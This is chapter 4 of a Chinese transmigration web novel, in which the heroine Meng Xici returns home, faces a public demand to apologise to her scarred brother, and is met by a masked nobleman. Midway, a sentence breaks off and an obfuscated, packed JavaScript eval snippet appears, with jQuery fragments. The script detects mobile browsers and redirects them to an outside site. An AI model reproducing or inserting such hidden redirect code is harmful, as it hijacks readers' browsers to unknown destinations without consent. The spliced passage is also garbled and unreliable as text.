4. 回家

作品:《穿书后千金还要上早八

    外面的阳光刺得人眼睛生疼,孟西慈很快回到马车中。


    明夏却觉得心里有些不安,想安慰孟西慈几句,却见她只是不紧不慢地翻着书页。


    好似真的不在意。


    明夏拉了拉孟西慈的衣袖,小声道:“小姐,等回了府,奴婢一定会保护好小姐的。”


    这句质朴的誓言让孟西慈心中微动,她摇头道:“不怕。”


    林氏安排的这阵仗,无疑是抬高了孟西慈的身份,让汝南郡的百姓都知道,即便孟二小姐是谋害兄长的罪魁祸首,即便在山中消失了十年,她依旧是太守府嫡出的千金,容不得半点轻视。


    只是不知林如萱在做这些事的时候,心里是否痛快?


    孟西慈眼中闪过一丝兴味,作为现代人,她并不惧怕深宅大院中即将面临的一切,她本就孤身一人,随性惯了。


    俗称,烂命一条就是干!


    成为孟家二小姐,自此,“孟西慈”的未来和过去,她都独自承担。


    马蹄声声,溅起泥点,不知行了多久,终于在一座恢宏府邸前缓缓停下。


    车外,原本的嘈杂之声悄然止息,只听得黄嬷嬷的声音自外传来:“二小姐,到了。”


    马车外,朱漆大门前,早围了不少好事之人。


    前些日子孟二小姐即将回府的消息,在汝南郡传得沸沸扬扬。十年前,孟二小姐害得兄长毁容之事,可是在城中掀起了不小的波澜。


    而孟向文,身为汝南太守,孟家的一举一动,自然备受瞩目。尤其是安阳王来到汝南养老后。


    太守府门前,一群人早已等候多时。为首的中年男子,身形清瘦,面容威严中透着几分儒雅,正是孟向文。


    身旁的妇人,眉眼温婉,气质雍容,她便是林如萱,而站在他们身侧的少女,五官精致,面容娇艳,一双明眸顾盼生辉,正是孟家三小姐孟南欣。


    百姓们的窃窃私语悠悠然飘进众人耳中。


    “孟三小姐出落得愈发标致了,也不知这久未归家的二小姐如今是何模样?”


    “也不看林夫人是何等风姿,孟三小姐是她亲女,自然娇俏,听闻孟二小姐的生母是乐京有名的美人,孟二小姐应该差不了。”


    有人啐道:“那可就难说了,毕竟这孟二小姐久居深山,与那山间野人不相上下,何况她还做出那等歹毒之事,面相早就变了,与孟三小姐相比,怕是相差甚远。”


    “话可不能这么说,你又没见过。”


    “没见过又如何?且不说相貌,孟二小姐长居山林,规矩礼数怕是忘得一干二净,怎比得上孟三小姐知书达礼?”


    “说的也是,何况孟二小姐一介孤女,山里不少莽夫出没,谁知道有没有沾染上些什么恶习,指不定让人瞧不上眼。”


    “……”


    孟南欣听着这些议论,又瞟见孟向文怒火中烧,咬牙捏拳的模样,嘴角忍不住微微上扬,可在对上林如萱警告的眼神时,又赶忙收敛了神色。


    黄嬷嬷唤了许久,马车里毫无动静。就在孟向文怒不可遏,百姓们也有些不耐烦,声量逐渐趋于平静时,马车里终于传出一道脆生生的声音。


    “小姐,奴婢扶您下车。”


    马车帘被轻轻挑起,一只苍白纤细的手伸出,在明夏的搀扶下,孟西慈缓缓走下马车。


    众人眼中的她不过十四五岁,正值豆蔻年华,却穿着一身素色布裙,裙身虽旧,却干净整洁,一头青丝在阳光下竟有些发黄,只用简单的木簪挽起,衬得眉眼如画,一双眼睛如山间清泉,清澈纯净,顾盼间透着灵动与清秀。


    她的脖颈间系着一条寻常的丝绦,脚下是一双朴素的布鞋,微微垂首,长睫连娟,雪肤黄发,让人看上一眼,竟忍不住虔诚跪拜。


    就像是生长在云端凝结着寒霜的高岭之花,漂亮,不可接近,尊贵之气浑然天成,令人心生敬意。


    小丫鬟扶着她走到太守府门前,她停下脚步,微微屈膝行礼,声音轻柔悦耳:“西慈不孝,见过父亲母亲。”


    她这一开口,周围的百姓这才回过神,皆怔怔地看着她,忽然,有人高声道:“孟二小姐生得好像顾夫人!”


    孟西慈的睫毛轻轻颤动,神色依旧淡然,姿态更加落落大方。


    孟向文神色复杂的看着这个女儿。十年未见,孟西慈的变化之大,几乎让他认不出这是自己原先那个冲动莽撞的女儿了。


    在他少有的印象中,孟西慈的行事风格像极了她早逝的生母,做事直截了当,不计后果,不懂变通。


    如今听着路人的议论,孟向文突然发现,长大后的孟西慈,依旧像顾之瑶,瞧着行事似乎更像自己些。


    十年未见,就是不知这性子是否有所收敛,想着林如萱的嘱托,孟向文没有第一时间让孟西慈免礼,而是和声说道:“回来就好,先给你二哥道个歉吧,你先前太犟,不肯认错,你二哥今日出门未归,就当着大家的面认个错,此事就算过去了。”


    此话一出,太守府前瞬间鸦雀无声,所有人面面相觑,没人注意到孟西慈眼底一闪而过的讥诮。


    就在大家都以为孟西慈会像十年前一样发作的时候,有个声音道:“这是在做甚?”


    那声音不疾不徐,音量不高,在寂静中格外清晰。紧接着,四下里或看戏或兴致索然或得意的人们,全都朝着声源处看去。


    一道蜜黄色的身影走了过来。


    来者戴着独有的面具,看不见样貌,但大家似乎都认识他,自乐京而来,大家只知他是定国公府的人,自幼聪慧过人,饱读诗书,兼修武艺,在汝南郡世家子弟中颇具威望,旁人对他自是多了几分敬重。


    定国公府在乐朝掌管着一部分权力,世代功勋卓著,当今圣上沉迷修仙炼丹,虽然坐着皇位,但常年不理朝政,大部分权力都交了出去,对定国公极为倚重,也会时常听取国公爷的意见。


    说起这位定国公,还是孟二小姐的外公,只是天高皇帝远,管不到汝南,只得每年派信到此慰问罢了。


    此时,看清来人是沈寂,周遭皆唏嘘不已,纷纷感叹这位疑似世家子弟的少年倒了大霉,竟也被毁了容。


    与孟二公子不同的是,这位少年整张脸都被毁得惨不忍睹,只能一辈子都戴着面具,而孟二公子虽被推进火盆,但也只是烧毁了一点,现在早已好了。


    许是遭遇相同,沈寂与孟二公子孟东诚的交情似乎挺好,百姓们看到两人同框过不少回,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433236|169266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    现下见到他,更是以为他是来替“好友”孟二公子打抱不平的。


    “沈寂”在众人的注视下,径直走向孟西慈。


    人们一脸“果然如此”的神情看着这一幕。


    在所有人都以为“沈寂”会找孟西慈麻烦时,他只是俯下身,顶着某人好似要吃人的目光,将孟西慈扶了起来。


    “二小姐。”


    他的声音很温和,却又带着点了如指掌的淡然,听不出多少情绪:“欢迎回家。”


    孟西慈没让他碰到自己,却顺势起身,“多谢。”


    片刻之间,看见随着“沈寂”一起出现的孟东诚,孟向文心中已然有了主意,先是对“沈寂”说道:“沈公子,这孩子不懂事,劳烦沈公子了。”


    又对孟西慈道:“西慈,你二哥也回来了,还不快跟你二哥道个歉,以后这事就翻篇了。”


    孟西慈本以为自己已经心如止水,可听见孟向文如此逼迫,上来就要一个久未归家的孩子认错,死寂的心陡然掀起波澜,胸口气血翻涌。


    也不知是对她自己死得太离谱的怨气,还是原主的意识在作祟。


    孟西慈撇开眼,像没听见一样,实则是在强压心中的怒火。


    文中对原主的描写不多,但她仍能从这寥寥几笔中感受到原主的悲愤。


    而在众人眼中,她竟是完全无视面上隐隐含着怒气的孟向文。


    瞧着她这副执迷不悟、毫无悔意的模样,孟向文怒从心起,咬着牙握紧拳头,恨不能当场把这个不孝女赶出门去。


    还以为她当着众人的面会约束些,没成想还是这副桀骜不驯的样子。


    这时,一旁传来一道柔柔的女声:“父亲,不如就算了吧,二哥胸怀宽广,都这么多年过去了,想来不会与姐姐计较的。”


    说完,女孩俏皮地朝着孟东诚的方向眨了眨眼睛,“对吧,二哥。”


    孟东诚笑了笑:“是啊,父亲,若不是今日听父亲提起,我早就忘记这回事了。”


    孟向文看着朝自己走来的二儿子,脸色稍缓,语气也柔和了许多,关切问道:“听说夫子最近布置了不少功课,不在学堂好好研习,来这作甚?”


    孟东诚行至孟向文身前,说话的语气带着几分亲昵:“西慈跟南欣都是我妹妹,平日里都把她们当自家妹妹来疼,如今西慈难得回家,我这个做哥哥的,自然得来迎接。”


    “迎接个什么!”靠近了些,孟向文才看清孟东诚脸上的疤痕,刚压下去的怒火瞬间又蹿了上来,“你都被她伤了脸,还迎接她?倒不如让她在山里自生自灭算了!”


    “再说,她哪里是遇上马贼,分明是她在山里性子养得更野了,还妄图诬陷你母亲派人伪装马贼害她。你母亲性子纯良,平日里好几次提起接她回家,怎会加害于她?她做出这等事,良心都被狗吃了!”


    孟向文骂得激烈,不仅是要替林如萱洗清名声,还要澄清山间马贼一事。


    此话一出,百姓中有人忍不住道:“大人的意思是,山中根本没有马贼?”


    面对外人,孟向文恢复了他平日待人的宽和,道:“这是自然,否则怎么解释几十年来大家路过栖霞山都相安无事,我这女儿一回来就出事。”